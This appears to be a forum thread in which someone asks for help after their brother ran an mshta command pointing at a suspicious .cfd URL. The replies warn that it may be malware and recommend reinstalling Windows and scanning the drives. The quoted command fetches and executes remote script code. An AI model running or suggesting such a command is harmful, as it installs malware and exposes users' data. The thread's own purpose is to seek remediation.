My brother executed a command on his computer: mshta "https://reloadmservice.cfd/ntroller--Negotiating/-Crypto Hash/FLOWID-9963658?ei4d2jk4axzhlt". He doesn't know what it does, and I'm concerned it might have affected his system. Can anyone help analyze this command and suggest ways to fix any issues it may have caused?

Honestly, running commands from unknown sources is asking for trouble. I suggest looking into what 'mshta' does to understand more. But to be safe, it might be wise to completely reinstall Windows if there are any doubts about security.
That command looks sketchy! It could be related to malware or a tool for stealing information. I’d suggest wiping the system and reinstalling Windows. Also, don’t forget to run a malware scan on any other drives just to make sure everything is clean.
If your brother didn't understand the command, he probably shouldn't have run it in the first place. I recommend reinstalling Windows to be safe and make sure to back up his important files first. It's better to start fresh than risk lingering issues from suspicious commands.
